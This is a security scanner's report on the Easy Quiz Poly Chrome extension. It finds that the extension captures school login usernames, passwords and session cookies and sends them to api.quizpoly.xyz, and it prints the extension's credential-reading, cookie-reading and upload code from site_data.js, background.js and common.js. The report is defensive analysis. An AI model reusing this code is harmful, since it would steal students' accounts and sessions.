Is Easy Quiz Poly safe?

Critical risk

Easy Quiz Poly captures login credentials and session cookies from supported school sites and sends them to api.quizpoly.xyz.

Easy Quiz Poly runs content scripts on supported university, LMS, and school login pages to read usernames, passwords, page URLs, and session cookies. It forwards those credentials and cookies through the extension background script to api.quizpoly.xyz/site-data.

Truong Fiv5.1.9Chrome Web Store
95Risk
Who publishes it

Truong Fi - 1 other listing from the same operator, none carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
Truong Fi

Same store account

1 other listing published from this account, 3k+ users between them, none of them carrying a finding.

Shared hosts - 3 hostnames

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

cms.poly.edu.vn
Also called by 1 other listing: Console Poly
fpl.udemy.com
Also called by 1 other listing: Console Poly
fpl2.poly.edu.vn
Also called by 1 other listing: Console Poly

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Login Credentials Sent to api.quizpoly.xyz

When you click login on a supported university login page, Easy Quiz Poly reads the username and password fields.

It packages them with the site host and any redirect URI, then posts them to https://api.quizpoly.xyz/site-data.

Severity
Critical unwanted
Type
Unexpected
CWE
CWE-522
Source
Dynamic sandbox
What actually happens
You did this

You click the login button on a supported university sign-in page.

The manifest injects the credential-reading script on pages such as feid.fpt.edu.vn/Account/Login and cms.poly.edu.vn/admin/login.

The extension did this

The extension reads the form username and password and sends them to api.quizpoly.xyz.

The message payload is handled by the background script and posted to the /site-data endpoint.

Fields assembled by the login-page content script
  • School login username
    student01@fpt.edu.vn (illustrative)

    This identifies the school account you are trying to sign in to.

  • School login password
    P@ssw0rd2026! (illustrative)

    This can be used to authenticate as you on the school service if it is valid.

  • Login site host
    cms.poly.edu.vn

    This shows which school login page the credentials came from.

  • Redirect URI
    https://cms.poly.edu.vn/dashboard (illustrative)

    This can show which school service you were trying to reach after sign-in.

Captured request
POSThttps://api.quizpoly.xyz/site-data
Headers
Content-Type
application/json
The code that does this

Credential capture and upload path in shipped code

Readable version

Login click reads username, password, and redirect data

injects/site_data.js
function submitForm() {  const n = form.querySelector(formSelector.username).value,    e = form.querySelector(formSelector.password).value,    o = getRedirectUri();  if (n && e) {    const r = {      username: n,      password: e    };    o && (r.redirectUri = o), addData(r)  }}function getRedirectUri() {  let n = "";  if ("feid.fpt.edu.vn" == window.location.host) {    const e = form.querySelector("#ReturnUrl").value,      o = new URL(e, "https://feid.fpt.edu.vn"),      r = new URLSearchParams(o.search).get("redirect_uri");    n = decodeURIComponent(r)  } else {    const e = new URLSearchParams(window.location.search),      o = e.get("continue") || e.get("redirect") || e.get("redirect_uri");    o && (n = decodeURIComponent(o))  }  return n}async function addData(n) {  chrome.runtime.sendMessage({    type: "add_site_data",    site: window.location.host,    data: n  })}

The login-button handler is installed after page load

injects/site_data.js
function main() {  window.removeEventListener("load", main, !1), formSelector = formSelectors[window.location.host], waitForElement(formSelector.form).then(n => {    if (form = n, form) {      const n = document.querySelector(formSelector.login);      n && n.addEventListener("click", submitForm)    }  }), vnuLmsLogin()}window.addEventListener("load", main, !1);

The background handler dispatches add_site_data to the uploader

background.js
chrome.runtime.onMessage.addListener(function(x, N, A) {  switch (x.type) {    case "open_quiz_popup":      j(N, "aqlist.html", !0), A(!0);      break;    case "open_online_popup":      j(N, "online.html", !1, !0), A(!0);      break;    case "focus_quiz_popup":      chrome.storage.local.get(["windowId"], ({        windowId: e      }) => {        chrome.windows.update(e, {          focused: !0        })      });      break;    case "close_quiz_popup":      chrome.storage.local.get(["windowId"], ({        windowId: e      }) => {        chrome.windows.remove(e)      });      break;    case "update_user":      P(), A(!0);      break;    case "get_user":      L().then(e => A(e));      break;    case "send_user_using":      I(x);      break;    case "send_html":      v(x.note, x.html);      break;    case "add_quiz_poly":      z(x.data);      break;    case "add_quiz":      q(x.data);      break;    case "get_quiz_answer":      y(x.data, A);      break;    case "open_quiz_link":      w(A);      break;    case "login":      f(A);      break;    case "get_quiz_available":      b(x.subject, A);      break;    case "check_quiz":      _(x.subject, A);      break;    case "check_quiz_online":      k(x.subject, A);      break;    case "get_online_answer":      g(x.subject, A);      break;    case "solve_alh_quiz":      p(x.data, A);      break;    case "check_alh_quiz":      h(x.id, A);      break;    case "get_cms_manual_answer":      m(x.courseId, x.questions, A);      break;    case "start_cms_auto_answer":      d(x.courseId, A);      break;    case "add_quiz_self":      let S = x.data.ans;      S && "object" == typeof S && (x.data.ans = Object.values(S)), quizSelf[x.seq] = x.data;      break;    case "add_site_data":      u(x.site, x.data);      break;    case "finish_quiz":      setTimeout(l, 15e3, x);      break;    case "get_cookie":      chrome.cookies.get({        url: x.url,        name: x.name      }, e => {        A({          cookie: e.value        })      });      break;    case "get_cookies":      chrome.cookies.getAll({        domain: x.domain      }, e => {        let a = e.filter(e => "sessionid" == e.name || "PHPSESSID" == e.name).map(e => ({          name: e.name,          value: e.value        }));        const t = a.length ? a[0].value : "";        A({          cookie: t        })      });      break;    case "get_quiz_score_result":      i(x.data), r();      break;    case "get_quiz_percent_result":      n(x.data), r();      break;    case "notify_upgraded_premium":      c({        message: "Chúc mừng! Tài khoản của bạn đã được nâng cấp"      });      break;    case "notify_premium_expired":      c({        message: "Hạn dùng Premium của bạn đã hết. Hãy nâng cấp để tiếp tục sử dụng Premium",        buttons: [{          title: "Nâng cấp"        }]      }, "premium_expired");      break;    case "site_cookies":      o(x.data, x.cookieDetail);      break;    case "site_all_cookies":      s(x.data, x.domain);      break;    case "send_user_using_alh":      t(x);      break;    case "logout":      a(A);      break;    case "set_seb_key":      e();      break;    case "open_sidepanel":      !async function(e, a) {        try {          if (chrome.runtime.sendMessage({              target: "sidepanel",              action: "loadURL",              url: e            }).catch(e => {}), chrome.storage.local.set({              sidepanelURL: e            }), a) await chrome.sidePanel.open({            tabId: a          });          else {            const [e] = await chrome.tabs.query({              active: !0,              currentWindow: !0            });            await chrome.sidePanel.open({              tabId: e.id            })          }        } catch (t) {}      }(x.url, x.tabId), A(!0);      break;    default:      return !0  }  return !0})

The uploader posts the site and data object to /site-data

common.js
async function _(t, n) {  try {    const r = await fetch(e + "/site-data", {      method: "POST",      headers: {        "Content-Type": "application/json"      },      body: JSON.stringify({        site: t,        data: n      })    });    await r.json()  } catch (r) {}}
External destination for the credential payload
    • api.quizpoly.xyz

    Receives POST requests to /site-data containing the site host and credential data assembled by the extension.

What it can do

Permissions this extension asks for, as declared in version 5.1.9. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on edu.vn

    *://*.edu.vn/*

  • Read and change your data on localhost

    http://localhost/*

  • Read and change your data on quizpoly.xyz

    https://*.quizpoly.xyz/*

  • Read and change your data on easyquiz.cc

    https://*.easyquiz.cc/*

  • Read and change your data on languagehub.vn

    https://*.languagehub.vn/*

  • Read and change your data on udemy.com

    https://*.udemy.com/*

  • Read and change your data on vnedu.vn

    https://*.vnedu.vn/*

  • Block and redirect the requests your browser makes

    declarativeNetRequest

  • Read and change cookies, including the ones that keep you signed in

    cookies

  • Store data in your browser

    storage

  • See the address and title of every tab you have open

    tabs

  • Show you desktop notifications

    notifications

  • Read information about your displays

    system.display

  • Run its own code inside the pages you visit

    scripting

  • Run hidden pages in the background

    offscreen

  • Schedule its own background tasks

    alarms

  • Show a panel beside the page

    sidePanel

Where it sends data

Destinations our analysis observed Easy Quiz Poly contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • api.quizpoly.xyz

    Easy Quiz Poly sends data to api.quizpoly.xyz. No other extension we have analysed sends data here.

Updated 30 September 2026bookcfenenijcoedjlpfknknlgfimopp